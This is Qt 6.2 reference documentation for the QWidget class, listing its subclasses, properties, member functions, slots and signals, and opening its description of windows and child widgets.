|  Inherited By: | [QAbstractButton](qabstractbutton), [QAbstractSlider](qabstractslider), [QAbstractSpinBox](qabstractspinbox), [QCalendarWidget](qcalendarwidget), [QComboBox](qcombobox), [QDesignerActionEditorInterface](qdesigneractioneditorinterface), [QDesignerFormWindowInterface](qdesignerformwindowinterface), [QDesignerObjectInspectorInterface](qdesignerobjectinspectorinterface), [QDesignerPropertyEditorInterface](qdesignerpropertyeditorinterface), [QDesignerWidgetBoxInterface](qdesignerwidgetboxinterface), [QDialog](qdialog), [QDialogButtonBox](qdialogbuttonbox), [QDockWidget](qdockwidget), [QFocusFrame](qfocusframe), [QFrame](qframe), [QGroupBox](qgroupbox), [QKeySequenceEdit](qkeysequenceedit), [QLineEdit](qlineedit), [QMainWindow](qmainwindow), [QMdiSubWindow](qmdisubwindow), [QMenu](qmenu), [QMenuBar](qmenubar), [QProgressBar](qprogressbar), [QQuickWidget](qquickwidget), [QRubberBand](qrubberband), [QSizeGrip](qsizegrip), [QSplashScreen](qsplashscreen), [QSplitterHandle](qsplitterhandle), [QStatusBar](qstatusbar), [QSvgWidget](qsvgwidget), [QTabBar](qtabbar), [QTabWidget](qtabwidget), [QToolBar](qtoolbar), and [QWizardPage](qwizardpage) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qwidget-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qwidget-obsolete.html)

 Public Types
------------

 

|  |  |
| --- | --- |
|  enum  | **[RenderFlag](qwidget#RenderFlag-enum)** { DrawWindowBackground, DrawChildren, IgnoreMask } |
|  flags  | **[RenderFlags](qwidget#RenderFlag-enum)** |

 Properties
----------

 

|  |  |
| --- | --- |
| * **[acceptDrops](qwidget#acceptDrops-prop)** : bool
* **[accessibleDescription](qwidget#accessibleDescription-prop)** : QString
* **[accessibleName](qwidget#accessibleName-prop)** : QString
* **[autoFillBackground](qwidget#autoFillBackground-prop)** : bool
* **[baseSize](qwidget#baseSize-prop)** : QSize
* **[childrenRect](qwidget#childrenRect-prop)** : const QRect
* **[childrenRegion](qwidget#childrenRegion-prop)** : const QRegion
* **[contextMenuPolicy](qwidget#contextMenuPolicy-prop)** : Qt::ContextMenuPolicy
* **[cursor](qwidget#cursor-prop)** : QCursor
* **[enabled](qwidget#enabled-prop)** : bool
* **[focus](qwidget#focus-prop)** : const bool
* **[focusPolicy](qwidget#focusPolicy-prop)** : Qt::FocusPolicy
* **[font](qwidget#font-prop)** : QFont
* **[frameGeometry](qwidget#frameGeometry-prop)** : const QRect
* **[frameSize](qwidget#frameSize-prop)** : const QSize
* **[fullScreen](qwidget#fullScreen-prop)** : const bool
* **[geometry](qwidget#geometry-prop)** : QRect
* **[height](qwidget#height-prop)** : const int
* **[inputMethodHints](qwidget#inputMethodHints-prop)** : Qt::InputMethodHints
* **[isActiveWindow](qwidget#isActiveWindow-prop)** : const bool
* **[layoutDirection](qwidget#layoutDirection-prop)** : Qt::LayoutDirection
* **[locale](qwidget#locale-prop)** : QLocale
* **[maximized](qwidget#maximized-prop)** : const bool
* **[maximumHeight](qwidget#maximumHeight-prop)** : int
* **[maximumSize](qwidget#maximumSize-prop)** : QSize
* **[maximumWidth](qwidget#maximumWidth-prop)** : int
* **[minimized](qwidget#minimized-prop)** : const bool
* **[minimumHeight](qwidget#minimumHeight-prop)** : int
* **[minimumSize](qwidget#minimumSize-prop)** : QSize
* **[minimumSizeHint](qwidget#minimumSizeHint-prop)** : const QSize
 | * **[minimumWidth](qwidget#minimumWidth-prop)** : int
* **[modal](qwidget#modal-prop)** : const bool
* **[mouseTracking](qwidget#mouseTracking-prop)** : bool
* **[normalGeometry](qwidget#normalGeometry-prop)** : const QRect
* **[palette](qwidget#palette-prop)** : QPalette
* **[pos](qwidget#pos-prop)** : QPoint
* **[rect](qwidget#rect-prop)** : const QRect
* **[size](qwidget#size-prop)** : QSize
* **[sizeHint](qwidget#sizeHint-prop)** : const QSize
* **[sizeIncrement](qwidget#sizeIncrement-prop)** : QSize
* **[sizePolicy](qwidget#sizePolicy-prop)** : QSizePolicy
* **[statusTip](qwidget#statusTip-prop)** : QString
* **[styleSheet](qwidget#styleSheet-prop)** : QString
* **[tabletTracking](qwidget#tabletTracking-prop)** : bool
* **[toolTip](qwidget#toolTip-prop)** : QString
* **[toolTipDuration](qwidget#toolTipDuration-prop)** : int
* **[updatesEnabled](qwidget#updatesEnabled-prop)** : bool
* **[visible](qwidget#visible-prop)** : bool
* **[whatsThis](qwidget#whatsThis-prop)** : QString
* **[width](qwidget#width-prop)** : const int
* **[windowFilePath](qwidget#windowFilePath-prop)** : QString
* **[windowFlags](qwidget#windowFlags-prop)** : Qt::WindowFlags
* **[windowIcon](qwidget#windowIcon-prop)** : QIcon
* **[windowModality](qwidget#windowModality-prop)** : Qt::WindowModality
* **[windowModified](qwidget#windowModified-prop)** : bool
* **[windowOpacity](qwidget#windowOpacity-prop)** : double
* **[windowTitle](qwidget#windowTitle-prop)** : QString
* **[x](qwidget#x-prop)** : const int
* **[y](qwidget#y-prop)** : const int
 |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QWidget](qwidget#QWidget)**(QWidget \**parent* = nullptr, Qt::WindowFlags *f* = Qt::WindowFlags()) |
|  virtual  | **[~QWidget](qwidget#dtor.QWidget)**() |
|  bool  | **[acceptDrops](qwidget#acceptDrops-prop)**() const |
|  QString  | **[accessibleDescription](qwidget#accessibleDescription-prop)**() const |
|  QString  | **[accessibleName](qwidget#accessibleName-prop)**() const |
|  QList<QAction \*>  | **[actions](qwidget#actions)**() const |
|  void  | **[activateWindow](qwidget#activateWindow)**() |
|  void  | **[addAction](qwidget#addAction)**(QAction \**action*) |
|  void  | **[addActions](qwidget#addActions)**(const QList<QAction \*> &*actions*) |
|  void  | **[adjustSize](qwidget#adjustSize)**() |
|  bool  | **[autoFillBackground](qwidget#autoFillBackground-prop)**() const |
|  QPalette::ColorRole  | **[backgroundRole](qwidget#backgroundRole)**() const |
|  QBackingStore \* | **[backingStore](qwidget#backingStore)**() const |
|  QSize  | **[baseSize](qwidget#baseSize-prop)**() const |
|  QWidget \* | **[childAt](qwidget#childAt)**(int *x*, int *y*) const |
|  QWidget \* | **[childAt](qwidget#childAt-1)**(const QPoint &*p*) const |
|  QRect  | **[childrenRect](qwidget#childrenRect-prop)**() const |
|  QRegion  | **[childrenRegion](qwidget#childrenRegion-prop)**() const |
|  void  | **[clearFocus](qwidget#clearFocus)**() |
|  void  | **[clearMask](qwidget#clearMask)**() |
|  QMargins  | **[contentsMargins](qwidget#contentsMargins)**() const |
|  QRect  | **[contentsRect](qwidget#contentsRect)**() const |
|  Qt::ContextMenuPolicy  | **[contextMenuPolicy](qwidget#contextMenuPolicy-prop)**() const |
|  QCursor  | **[cursor](qwidget#cursor-prop)**() const |
|  WId  | **[effectiveWinId](qwidget#effectiveWinId)**() const |
|  void  | **[ensurePolished](qwidget#ensurePolished)**() const |
|  Qt::FocusPolicy  | **[focusPolicy](qwidget#focusPolicy-prop)**() const |
|  QWidget \* | **[focusProxy](qwidget#focusProxy)**() const |
|  QWidget \* | **[focusWidget](qwidget#focusWidget)**() const |
|  const QFont & | **[font](qwidget#font-prop)**() const |
|  QFontInfo  | **[fontInfo](qwidget#fontInfo)**() const |
|  QFontMetrics  | **[fontMetrics](qwidget#fontMetrics)**() const |
|  QPalette::ColorRole  | **[foregroundRole](qwidget#foregroundRole)**() const |
|  QRect  | **[frameGeometry](qwidget#frameGeometry-prop)**() const |
|  QSize  | **[frameSize](qwidget#frameSize-prop)**() const |
|  const QRect & | **[geometry](qwidget#geometry-prop)**() const |
|  QPixmap  | **[grab](qwidget#grab)**(const QRect &*rectangle* = QRect(QPoint(0, 0), QSize(-1, -1))) |
|  void  | **[grabGesture](qwidget#grabGesture)**(Qt::GestureType *gesture*, Qt::GestureFlags *flags* = Qt::GestureFlags()) |
|  void  | **[grabKeyboard](qwidget#grabKeyboard)**() |
|  void  | **[grabMouse](qwidget#grabMouse)**() |
|  void  | **[grabMouse](qwidget#grabMouse-1)**(const QCursor &*cursor*) |
|  int  | **[grabShortcut](qwidget#grabShortcut)**(const QKeySequence &*key*, Qt::ShortcutContext *context* = Qt::WindowShortcut) |
|  QGraphicsEffect \* | **[graphicsEffect](qwidget#graphicsEffect)**() const |
|  QGraphicsProxyWidget \* | **[graphicsProxyWidget](qwidget#graphicsProxyWidget)**() const |
|  bool  | **[hasEditFocus](qwidget#hasEditFocus)**() const |
|  bool  | **[hasFocus](qwidget#focus-prop)**() const |
|  virtual bool  | **[hasHeightForWidth](qwidget#hasHeightForWidth)**() const |
|  bool  | **[hasMouseTracking](qwidget#mouseTracking-prop)**() const |
|  bool  | **[hasTabletTracking](qwidget#tabletTracking-prop)**() const |
|  int  | **[height](qwidget#height-prop)**() const |
|  virtual int  | **[heightForWidth](qwidget#heightForWidth)**(int *w*) const |
|  Qt::InputMethodHints  | **[inputMethodHints](qwidget#inputMethodHints-prop)**() const |
|  virtual QVariant  | **[inputMethodQuery](qwidget#inputMethodQuery)**(Qt::InputMethodQuery *query*) const |
|  void  | **[insertAction](qwidget#insertAction)**(QAction \**before*, QAction \**action*) |
|  void  | **[insertActions](qwidget#insertActions)**(QAction \**before*, const QList<QAction \*> &*actions*) |
|  bool  | **[isActiveWindow](qwidget#isActiveWindow-prop)**() const |
|  bool  | **[isAncestorOf](qwidget#isAncestorOf)**(const QWidget \**child*) const |
|  bool  | **[isEnabled](qwidget#enabled-prop)**() const |
|  bool  | **[isEnabledTo](qwidget#isEnabledTo)**(const QWidget \**ancestor*) const |
|  bool  | **[isFullScreen](qwidget#fullScreen-prop)**() const |
|  bool  | **[isHidden](qwidget#isHidden)**() const |
|  bool  | **[isMaximized](qwidget#maximized-prop)**() const |
|  bool  | **[isMinimized](qwidget#minimized-prop)**() const |
|  bool  | **[isModal](qwidget#modal-prop)**() const |
|  bool  | **[isVisible](qwidget#visible-prop)**() const |
|  bool  | **[isVisibleTo](qwidget#isVisibleTo)**(const QWidget \**ancestor*) const |
|  bool  | **[isWindow](qwidget#isWindow)**() const |
|  bool  | **[isWindowModified](qwidget#windowModified-prop)**() const |
|  QLayout \* | **[layout](qwidget#layout)**() const |
|  Qt::LayoutDirection  | **[layoutDirection](qwidget#layoutDirection-prop)**() const |
|  QLocale  | **[locale](qwidget#locale-prop)**() const |
|  QPointF  | **[mapFrom](qwidget#mapFrom)**(const QWidget \**parent*, const QPointF &*pos*) const |
|  QPoint  | **[mapFrom](qwidget#mapFrom-1)**(const QWidget \**parent*, const QPoint &*pos*) const |
|  QPointF  | **[mapFromGlobal](qwidget#mapFromGlobal)**(const QPointF &*pos*) const |
|  QPoint  | **[mapFromGlobal](qwidget#mapFromGlobal-1)**(const QPoint &*pos*) const |
|  QPointF  | **[mapFromParent](qwidget#mapFromParent)**(const QPointF &*pos*) const |
|  QPoint  | **[mapFromParent](qwidget#mapFromParent-1)**(const QPoint &*pos*) const |
|  QPointF  | **[mapTo](qwidget#mapTo)**(const QWidget \**parent*, const QPointF &*pos*) const |
|  QPoint  | **[mapTo](qwidget#mapTo-1)**(const QWidget \**parent*, const QPoint &*pos*) const |
|  QPointF  | **[mapToGlobal](qwidget#mapToGlobal)**(const QPointF &*pos*) const |
|  QPoint  | **[mapToGlobal](qwidget#mapToGlobal-1)**(const QPoint &*pos*) const |
|  QPointF  | **[mapToParent](qwidget#mapToParent)**(const QPointF &*pos*) const |
|  QPoint  | **[mapToParent](qwidget#mapToParent-1)**(const QPoint &*pos*) const |
|  QRegion  | **[mask](qwidget#mask)**() const |
|  int  | **[maximumHeight](qwidget#maximumHeight-prop)**() const |
|  QSize  | **[maximumSize](qwidget#maximumSize-prop)**() const |
|  int  | **[maximumWidth](qwidget#maximumWidth-prop)**() const |
|  int  | **[minimumHeight](qwidget#minimumHeight-prop)**() const |
|  QSize  | **[minimumSize](qwidget#minimumSize-prop)**() const |
|  virtual QSize  | **[minimumSizeHint](qwidget#minimumSizeHint-prop)**() const |
|  int  | **[minimumWidth](qwidget#minimumWidth-prop)**() const |
|  void  | **[move](qwidget#pos-prop)**(const QPoint &) |
|  void  | **[move](qwidget#move-1)**(int *x*, int *y*) |
|  QWidget \* | **[nativeParentWidget](qwidget#nativeParentWidget)**() const |
|  QWidget \* | **[nextInFocusChain](qwidget#nextInFocusChain)**() const |
|  QRect  | **[normalGeometry](qwidget#normalGeometry-prop)**() const |
|  void  | **[overrideWindowFlags](qwidget#overrideWindowFlags)**(Qt::WindowFlags *flags*) |
|  const QPalette & | **[palette](qwidget#palette-prop)**() const |
|  QWidget \* | **[parentWidget](qwidget#parentWidget)**() const |
|  QPoint  | **[pos](qwidget#pos-prop)**() const |
|  QWidget \* | **[previousInFocusChain](qwidget#previousInFocusChain)**() const |
|  QRect  | **[rect](qwidget#rect-prop)**() const |
|  void  | **[releaseKeyboard](qwidget#releaseKeyboard)**() |
|  void  | **[releaseMouse](qwidget#releaseMouse)**() |
|  void  | **[releaseShortcut](qwidget#releaseShortcut)**(int *id*) |
|  void  | **[removeAction](qwidget#removeAction)**(QAction \**action*) |
|  void  | **[render](qwidget#render)**(QPaintDevice \**target*, const QPoint &*targetOffset* = QPoint(), const QRegion &*sourceRegion* = QRegion(), QWidget::RenderFlags *renderFlags* = RenderFlags(DrawWindowBackground | DrawChildren)) |
|  void  | **[render](qwidget#render-1)**(QPainter \**painter*, const QPoint &*targetOffset* = QPoint(), const QRegion &*sourceRegion* = QRegion(), QWidget::RenderFlags *renderFlags* = RenderFlags(DrawWindowBackground | DrawChildren)) |
|  void  | **[repaint](qwidget#repaint-1)**(int *x*, int *y*, int *w*, int *h*) |
|  void  | **[repaint](qwidget#repaint-2)**(const QRect &*rect*) |
|  void  | **[repaint](qwidget#repaint-3)**(const QRegion &*rgn*) |
|  void  | **[resize](qwidget#size-prop)**(const QSize &) |
|  void  | **[resize](qwidget#resize-1)**(int *w*, int *h*) |
|  bool  | **[restoreGeometry](qwidget#restoreGeometry)**(const QByteArray &*geometry*) |
|  QByteArray  | **[saveGeometry](qwidget#saveGeometry)**() const |
|  QScreen \* | **[screen](qwidget#screen)**() const |
|  void  | **[scroll](qwidget#scroll)**(int *dx*, int *dy*) |
|  void  | **[scroll](qwidget#scroll-1)**(int *dx*, int *dy*, const QRect &*r*) |
|  void  | **[setAcceptDrops](qwidget#acceptDrops-prop)**(bool *on*) |
|  void  | **[setAccessibleDescription](qwidget#accessibleDescription-prop)**(const QString &*description*) |
|  void  | **[setAccessibleName](qwidget#accessibleName-prop)**(const QString &*name*) |
|  void  | **[setAttribute](qwidget#setAttribute)**(Qt::WidgetAttribute *attribute*, bool *on* = true) |
|  void  | **[setAutoFillBackground](qwidget#autoFillBackground-prop)**(bool *enabled*) |
|  void  | **[setBackgroundRole](qwidget#setBackgroundRole)**(QPalette::ColorRole *role*) |
|  void  | **[setBaseSize](qwidget#baseSize-prop)**(const QSize &) |
|  void  | **[setBaseSize](qwidget#setBaseSize-1)**(int *basew*, int *baseh*) |
|  void  | **[setContentsMargins](qwidget#setContentsMargins)**(int *left*, int *top*, int *right*, int *bottom*) |
|  void  | **[setContentsMargins](qwidget#setContentsMargins-1)**(const QMargins &*margins*) |
|  void  | **[setContextMenuPolicy](qwidget#contextMenuPolicy-prop)**(Qt::ContextMenuPolicy *policy*) |
|  void  | **[setCursor](qwidget#cursor-prop)**(const QCursor &) |
|  void  | **[setEditFocus](qwidget#setEditFocus)**(bool *enable*) |
|  void  | **[setFixedHeight](qwidget#setFixedHeight)**(int *h*) |
|  void  | **[setFixedSize](qwidget#setFixedSize)**(const QSize &*s*) |
|  void  | **[setFixedSize](qwidget#setFixedSize-1)**(int *w*, int *h*) |
|  void  | **[setFixedWidth](qwidget#setFixedWidth)**(int *w*) |
|  void  | **[setFocus](qwidget#setFocus)**(Qt::FocusReason *reason*) |
|  void  | **[setFocusPolicy](qwidget#focusPolicy-prop)**(Qt::FocusPolicy *policy*) |
|  void  | **[setFocusProxy](qwidget#setFocusProxy)**(QWidget \**w*) |
|  void  | **[setFont](qwidget#font-prop)**(const QFont &) |
|  void  | **[setForegroundRole](qwidget#setForegroundRole)**(QPalette::ColorRole *role*) |
|  void  | **[setGeometry](qwidget#geometry-prop)**(const QRect &) |
|  void  | **[setGeometry](qwidget#setGeometry-1)**(int *x*, int *y*, int *w*, int *h*) |
|  void  | **[setGraphicsEffect](qwidget#setGraphicsEffect)**(QGraphicsEffect \**effect*) |
|  void  | **[setInputMethodHints](qwidget#inputMethodHints-prop)**(Qt::InputMethodHints *hints*) |
|  void  | **[setLayout](qwidget#setLayout)**(QLayout \**layout*) |
|  void  | **[setLayoutDirection](qwidget#layoutDirection-prop)**(Qt::LayoutDirection *direction*) |
|  void  | **[setLocale](qwidget#locale-prop)**(const QLocale &*locale*) |
|  void  | **[setMask](qwidget#setMask)**(const QBitmap &*bitmap*) |
|  void  | **[setMask](qwidget#setMask-1)**(const QRegion &*region*) |
|  void  | **[setMaximumHeight](qwidget#maximumHeight-prop)**(int *maxh*) |
|  void  | **[setMaximumSize](qwidget#maximumSize-prop)**(const QSize &) |
|  void  | **[setMaximumSize](qwidget#setMaximumSize-1)**(int *maxw*, int *maxh*) |
|  void  | **[setMaximumWidth](qwidget#maximumWidth-prop)**(int *maxw*) |
|  void  | **[setMinimumHeight](qwidget#minimumHeight-prop)**(int *minh*) |
|  void  | **[setMinimumSize](qwidget#minimumSize-prop)**(const QSize &) |
|  void  | **[setMinimumSize](qwidget#setMinimumSize-1)**(int *minw*, int *minh*) |
|  void  | **[setMinimumWidth](qwidget#minimumWidth-prop)**(int *minw*) |
|  void  | **[setMouseTracking](qwidget#mouseTracking-prop)**(bool *enable*) |
|  void  | **[setPalette](qwidget#palette-prop)**(const QPalette &) |
|  void  | **[setParent](qwidget#setParent)**(QWidget \**parent*) |
|  void  | **[setParent](qwidget#setParent-1)**(QWidget \**parent*, Qt::WindowFlags *f*) |
|  void  | **[setScreen](qwidget#setScreen)**(QScreen \**screen*) |
|  void  | **[setShortcutAutoRepeat](qwidget#setShortcutAutoRepeat)**(int *id*, bool *enable* = true) |
|  void  | **[setShortcutEnabled](qwidget#setShortcutEnabled)**(int *id*, bool *enable* = true) |
|  void  | **[setSizeIncrement](qwidget#sizeIncrement-prop)**(const QSize &) |
|  void  | **[setSizeIncrement](qwidget#setSizeIncrement-1)**(int *w*, int *h*) |
|  void  | **[setSizePolicy](qwidget#sizePolicy-prop)**(QSizePolicy) |
|  void  | **[setSizePolicy](qwidget#setSizePolicy-1)**(QSizePolicy::Policy *horizontal*, QSizePolicy::Policy *vertical*) |
|  void  | **[setStatusTip](qwidget#statusTip-prop)**(const QString &) |
|  void  | **[setStyle](qwidget#setStyle)**(QStyle \**style*) |
|  void  | **[setTabletTracking](qwidget#tabletTracking-prop)**(bool *enable*) |
|  void  | **[setToolTip](qwidget#toolTip-prop)**(const QString &) |
|  void  | **[setToolTipDuration](qwidget#toolTipDuration-prop)**(int *msec*) |
|  void  | **[setUpdatesEnabled](qwidget#updatesEnabled-prop)**(bool *enable*) |
|  void  | **[setWhatsThis](qwidget#whatsThis-prop)**(const QString &) |
|  void  | **[setWindowFilePath](qwidget#windowFilePath-prop)**(const QString &*filePath*) |
|  void  | **[setWindowFlag](qwidget#setWindowFlag)**(Qt::WindowType *flag*, bool *on* = true) |
|  void  | **[setWindowFlags](qwidget#windowFlags-prop)**(Qt::WindowFlags *type*) |
|  void  | **[setWindowIcon](qwidget#windowIcon-prop)**(const QIcon &*icon*) |
|  void  | **[setWindowModality](qwidget#windowModality-prop)**(Qt::WindowModality *windowModality*) |
|  void  | **[setWindowOpacity](qwidget#windowOpacity-prop)**(qreal *level*) |
|  void  | **[setWindowRole](qwidget#setWindowRole)**(const QString &*role*) |
|  void  | **[setWindowState](qwidget#setWindowState)**(Qt::WindowStates *windowState*) |
|  void  | **[setupUi](qwidget#setupUi)**(QWidget \**widget*) |
|  QSize  | **[size](qwidget#size-prop)**() const |
|  virtual QSize  | **[sizeHint](qwidget#sizeHint-prop)**() const |
|  QSize  | **[sizeIncrement](qwidget#sizeIncrement-prop)**() const |
|  QSizePolicy  | **[sizePolicy](qwidget#sizePolicy-prop)**() const |
|  void  | **[stackUnder](qwidget#stackUnder)**(QWidget \**w*) |
|  QString  | **[statusTip](qwidget#statusTip-prop)**() const |
|  QStyle \* | **[style](qwidget#style)**() const |
|  QString  | **[styleSheet](qwidget#styleSheet-prop)**() const |
|  bool  | **[testAttribute](qwidget#testAttribute)**(Qt::WidgetAttribute *attribute*) const |
|  QString  | **[toolTip](qwidget#toolTip-prop)**() const |
|  int  | **[toolTipDuration](qwidget#toolTipDuration-prop)**() const |
|  bool  | **[underMouse](qwidget#underMouse)**() const |
|  void  | **[ungrabGesture](qwidget#ungrabGesture)**(Qt::GestureType *gesture*) |
|  void  | **[unsetCursor](qwidget#cursor-prop)**() |
|  void  | **[unsetLayoutDirection](qwidget#layoutDirection-prop)**() |
|  void  | **[unsetLocale](qwidget#locale-prop)**() |
|  void  | **[update](qwidget#update-1)**(int *x*, int *y*, int *w*, int *h*) |
|  void  | **[update](qwidget#update-2)**(const QRect &*rect*) |
|  void  | **[update](qwidget#update-3)**(const QRegion &*rgn*) |
|  void  | **[updateGeometry](qwidget#updateGeometry)**() |
|  bool  | **[updatesEnabled](qwidget#updatesEnabled-prop)**() const |
|  QRegion  | **[visibleRegion](qwidget#visibleRegion)**() const |
|  QString  | **[whatsThis](qwidget#whatsThis-prop)**() const |
|  int  | **[width](qwidget#width-prop)**() const |
|  WId  | **[winId](qwidget#winId)**() const |
|  QWidget \* | **[window](qwidget#window)**() const |
|  QString  | **[windowFilePath](qwidget#windowFilePath-prop)**() const |
|  Qt::WindowFlags  | **[windowFlags](qwidget#windowFlags-prop)**() const |
|  QWindow \* | **[windowHandle](qwidget#windowHandle)**() const |
|  QIcon  | **[windowIcon](qwidget#windowIcon-prop)**() const |
|  Qt::WindowModality  | **[windowModality](qwidget#windowModality-prop)**() const |
|  qreal  | **[windowOpacity](qwidget#windowOpacity-prop)**() const |
|  QString  | **[windowRole](qwidget#windowRole)**() const |
|  Qt::WindowStates  | **[windowState](qwidget#windowState)**() const |
|  QString  | **[windowTitle](qwidget#windowTitle-prop)**() const |
|  Qt::WindowType  | **[windowType](qwidget#windowType)**() const |
|  int  | **[x](qwidget#x-prop)**() const |
|  int  | **[y](qwidget#y-prop)**() const |

 Reimplemented Public Functions
------------------------------

 

|  |  |
| --- | --- |
|  virtual QPaintEngine \* | **[paintEngine](qwidget#paintEngine)**() const override |

 Public Slots
------------

 

|  |  |
| --- | --- |
|  bool  | **[close](qwidget#close)**() |
|  void  | **[hide](qwidget#hide)**() |
|  void  | **[lower](qwidget#lower)**() |
|  void  | **[raise](qwidget#raise)**() |
|  void  | **[repaint](qwidget#repaint)**() |
|  void  | **[setDisabled](qwidget#setDisabled)**(bool *disable*) |
|  void  | **[setEnabled](qwidget#enabled-prop)**(bool) |
|  void  | **[setFocus](qwidget#setFocus-1)**() |
|  void  | **[setHidden](qwidget#setHidden)**(bool *hidden*) |
|  void  | **[setStyleSheet](qwidget#styleSheet-prop)**(const QString &*styleSheet*) |
|  virtual void  | **[setVisible](qwidget#visible-prop)**(bool *visible*) |
|  void  | **[setWindowModified](qwidget#windowModified-prop)**(bool) |
|  void  | **[setWindowTitle](qwidget#windowTitle-prop)**(const QString &) |
|  void  | **[show](qwidget#show)**() |
|  void  | **[showFullScreen](qwidget#showFullScreen)**() |
|  void  | **[showMaximized](qwidget#showMaximized)**() |
|  void  | **[showMinimized](qwidget#showMinimized)**() |
|  void  | **[showNormal](qwidget#showNormal)**() |
|  void  | **[update](qwidget#update)**() |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[customContextMenuRequested](qwidget#customContextMenuRequested)**(const QPoint &*pos*) |
|  void  | **[windowIconChanged](qwidget#windowIconChanged)**(const QIcon &*icon*) |
|  void  | **[windowTitleChanged](qwidget#windowTitleChanged)**(const QString &*title*) |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  QWidget \* | **[createWindowContainer](qwidget#createWindowContainer)**(QWindow \**window*, QWidget \**parent* = nullptr, Qt::WindowFlags *flags* = Qt::WindowFlags()) |
|  QWidget \* | **[find](qwidget#find)**(WId *id*) |
|  QWidget \* | **[keyboardGrabber](qwidget#keyboardGrabber)**() |
|  QWidget \* | **[mouseGrabber](qwidget#mouseGrabber)**() |
|  void  | **[setTabOrder](qwidget#setTabOrder)**(QWidget \**first*, QWidget \**second*) |

 Protected Functions
-------------------

 

|  |  |
| --- | --- |
|  virtual void  | **[actionEvent](qwidget#actionEvent)**(QActionEvent \**event*) |
|  virtual void  | **[changeEvent](qwidget#changeEvent)**(QEvent \**event*) |
|  virtual void  | **[closeEvent](qwidget#closeEvent)**(QCloseEvent \**event*) |
|  virtual void  | **[contextMenuEvent](qwidget#contextMenuEvent)**(QContextMenuEvent \**event*) |
|  void  | **[create](qwidget#create)**(WId *window* = 0, bool *initializeWindow* = true, bool *destroyOldWindow* = true) |
|  void  | **[destroy](qwidget#destroy)**(bool *destroyWindow* = true, bool *destroySubWindows* = true) |
|  virtual void  | **[dragEnterEvent](qwidget#dragEnterEvent)**(QDragEnterEvent \**event*) |
|  virtual void  | **[dragLeaveEvent](qwidget#dragLeaveEvent)**(QDragLeaveEvent \**event*) |
|  virtual void  | **[dragMoveEvent](qwidget#dragMoveEvent)**(QDragMoveEvent \**event*) |
|  virtual void  | **[dropEvent](qwidget#dropEvent)**(QDropEvent \**event*) |
|  virtual void  | **[enterEvent](qwidget#enterEvent)**(QEnterEvent \**event*) |
|  virtual void  | **[focusInEvent](qwidget#focusInEvent)**(QFocusEvent \**event*) |
|  bool  | **[focusNextChild](qwidget#focusNextChild)**() |
|  virtual bool  | **[focusNextPrevChild](qwidget#focusNextPrevChild)**(bool *next*) |
|  virtual void  | **[focusOutEvent](qwidget#focusOutEvent)**(QFocusEvent \**event*) |
|  bool  | **[focusPreviousChild](qwidget#focusPreviousChild)**() |
|  virtual void  | **[hideEvent](qwidget#hideEvent)**(QHideEvent \**event*) |
|  virtual void  | **[inputMethodEvent](qwidget#inputMethodEvent)**(QInputMethodEvent \**event*) |
|  virtual void  | **[keyPressEvent](qwidget#keyPressEvent)**(QKeyEvent \**event*) |
|  virtual void  | **[keyReleaseEvent](qwidget#keyReleaseEvent)**(QKeyEvent \**event*) |
|  virtual void  | **[leaveEvent](qwidget#leaveEvent)**(QEvent \**event*) |
|  virtual void  | **[mouseDoubleClickEvent](qwidget#mouseDoubleClickEvent)**(QMouseEvent \**event*) |
|  virtual void  | **[mouseMoveEvent](qwidget#mouseMoveEvent)**(QMouseEvent \**event*) |
|  virtual void  | **[mousePressEvent](qwidget#mousePressEvent)**(QMouseEvent \**event*) |
|  virtual void  | **[mouseReleaseEvent](qwidget#mouseReleaseEvent)**(QMouseEvent \**event*) |
|  virtual void  | **[moveEvent](qwidget#moveEvent)**(QMoveEvent \**event*) |
|  virtual bool  | **[nativeEvent](qwidget#nativeEvent)**(const QByteArray &*eventType*, void \**message*, qintptr \**result*) |
|  virtual void  | **[paintEvent](qwidget#paintEvent)**(QPaintEvent \**event*) |
|  virtual void  | **[resizeEvent](qwidget#resizeEvent)**(QResizeEvent \**event*) |
|  virtual void  | **[showEvent](qwidget#showEvent)**(QShowEvent \**event*) |
|  virtual void  | **[tabletEvent](qwidget#tabletEvent)**(QTabletEvent \**event*) |
|  virtual void  | **[wheelEvent](qwidget#wheelEvent)**(QWheelEvent \**event*) |

 Reimplemented Protected Functions
---------------------------------

 

|  |  |
| --- | --- |
|  virtual bool  | **[event](qwidget#event)**(QEvent \**event*) override |
|  virtual void  | **[initPainter](qwidget#initPainter)**(QPainter \**painter*) const override |
|  virtual int  | **[metric](qwidget#metric)**(QPaintDevice::PaintDeviceMetric *m*) const override |

 Protected Slots
---------------

 

|  |  |
| --- | --- |
|  void  | **[updateMicroFocus](qwidget#updateMicroFocus)**(Qt::InputMethodQuery *query* = Qt::ImQueryAll) |

 Macros
------

 

|  |  |
| --- | --- |
|  | **[QWIDGETSIZE\_MAX](qwidget#QWIDGETSIZE_MAX)** |

 Detailed Description
--------------------

 The widget is the atom of the user interface: it receives mouse, keyboard and other events from the window system, and paints a representation of itself on the screen. Every widget is rectangular, and they are sorted in a Z-order. A widget is clipped by its parent and by the widgets in front of it.

 A widget that is not embedded in a parent widget is called a window. Usually, windows have a frame and a title bar, although it is also possible to create windows without such decoration using suitable [window flags](qt#WindowType-enum). In Qt, [QMainWindow](qmainwindow) and the various subclasses of [QDialog](qdialog) are the most common window types.

 Every widget's constructor accepts one or two standard arguments:

 1. `QWidget *parent = nullptr` is the parent of the new widget. If it is `nullptr` (the default), the new widget will be a window. If not, it will be a child of *parent*, and be constrained by *parent*'s geometry (unless you specify [Qt::Window](qt#WindowType-enum) as window flag).
2. `Qt::WindowFlags f = { }` (where available) sets the window flags; the default is suitable for almost all widgets, but to get, for example, a window without a window system frame, you must use special flags.

 QWidget has many member functions, but some of them have little direct functionality; for example, QWidget has a font property, but never uses this itself. There are many subclasses which provide real functionality, such as [QLabel](qlabel), [QPushButton](qpushbutton), [QListWidget](qlistwidget), and [QTabWidget](qtabwidget).

 ### Top-Level and Child Widgets

 A widget without a parent widget is always an independent window (top-level widget). For these widgets, [setWindowTitle](qwidget#windowTitle-prop)() and [setWindowIcon](qwidget#windowIcon-prop)() set the title bar and icon respectively.

 Non-window widgets are child widgets, displayed within their parent widgets. Most widgets in Qt are mainly useful as child widgets. For example, it is possible to display a button as a top-level window, but most people prefer to put their buttons inside other widgets, such as [QDialog](qdialog).

 ![A parent widget containing various child widgets.]


